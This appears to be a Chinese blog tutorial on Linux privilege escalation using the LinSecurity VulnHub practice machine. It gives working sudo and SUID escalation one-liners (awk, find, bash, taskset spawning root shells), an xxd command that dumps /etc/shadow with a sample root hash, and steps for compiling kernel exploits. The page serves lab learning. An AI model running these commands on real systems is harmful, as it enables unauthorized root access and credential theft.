当前位置: 首页 > news >正文

linux提权

目录

一、linux提权靶场下载与安装

二、基础提权 

 1.sudo提权

 2.suid提权

3.taskset执行bash 

三、内核提权 


相关网站

https://gtfobins.github.io/#+sudohttps://blog.csdn.net/weixin_43873557/article/details/113784146

一、linux提权靶场下载与安装

#下载链接
https://www.vulnhub.com/entry/linsecurity-1,244/用户名密码:bob/secret#安装与配置
1.修改默认键盘布局[默认不是美式键盘]
sudo awk 'BEGIN {system("/bin/sh")}'
[修改前\"符号是shift+2]vim /etc/default/keyboard
[讲XKBLAYOUT改的值为us]setupcon2.配置网卡[Ubuntu 18通过netplan设置网络]
vim /etc/netplan/50-cloud-init.yaml
[将enp0s3改为ens33]netplan apply

二、基础提权 

 1.sudo提权

sudo权限是root把本来只能超级用户执行的命令赋予普通用户执行

1. sudo /bin/ash
2. sudo find . -exec /bin/sh \;-quit
3. sudo /bin/bash
sudo -i

 2.suid提权

suid简介:SUID这个是uid +s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root的权限,就会配置特殊权限

使用find命令快速查找所有suid文件

find / -user root -perm -4000 -print 2>/dev/null

xxd访问/etc/shadow

-rwsr-x--- 1 root itservices 18552 Apr 10  2018 /usr/bin/xxd

 itservices组具有执行权限,通过/etc/group发现susan用户属于itservices用户组,利用4.隐藏文件发现的密码登录susan用户,进行提权

cd home/susan
susan@linsecurity:/home/bob$ xxd "/etc/shadow" |xxd -r
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::

3.taskset执行bash 

taskset 是一个用于将进程绑定到特定的CPU核心上的命令

taskset 1 /bin/bash -p

三、内核提权 

将linux内核提权速查脚本移到Linux系统中

查询该文件

 

进行解压缩 

 

进入解压后的文件,并执行里面的后缀为.sh的文件

 成功后就可以查看推荐的漏洞

 将推荐的漏洞下载到本地,复制到Linux系统中,进行解压缩

进入解压后的文件

 存在makefile,进行编译make

 查看编译后的文件,发现新增,进行执行该文件

 运行文件,不能成功,则换其他漏洞

 

http://www.lryc.cn/news/162509.html

相关文章:

  • Excel VSTO开发7 -可视化界面开发
  • 英文科技论文写作与发表-投稿到发表(第6章)
  • 2.4.3 【MySQL】设置系统变量
  • 【Redis】2、Redis持久化和性能管理
  • MIT6.S081实验环境搭建
  • spring spring-boot spring-cloud spring-cloud-alibaba之间版本对应关系
  • Docker技术入门 | Part01:Docker简介
  • Apache实现weblogic集群配置
  • Java面试题总结2023
  • 采用ROUANT 方法对 nex-gddp-cmip6 数据进行精度校正
  • 超级电容-电池-超级电容混合储能系统能量管理simulink仿真建模模型
  • 最新仿闲鱼链接+独立后台管理 跳转APP
  • DoIP协议——汽车以太网应用介绍
  • 标准C++day1——名字空间和堆内存管理
  • 草图大师SketchUp Pro 2023 for Mac
  • doris docker环境编译部署
  • java封装国密SM4为 jar包,PHP调用
  • 微信小程序 wx:if使用
  • SpringBoot环境MongoDB分页+去重+获取去重后的原始数据
  • Vuex核心概念 - actions 和 getters
  • 51单片机的简易计算器数码管显示仿真设计( proteus仿真+程序+原理图+报告+讲解视频)
  • Qt版本的冷知识
  • [C++ 学习] 控制信号
  • php如何设置随机数
  • WebGL 纹理——在矩形表面贴上图像
  • javaweb-Filter-listener过滤器与监听器
  • DBeaver 常用快捷键【大全】
  • 数据分析之面试题目汇总
  • 【Vue-Element-Admin】级联查询
  • 深入探讨Kubernetes(K8s)在云原生架构中的关键作用和应用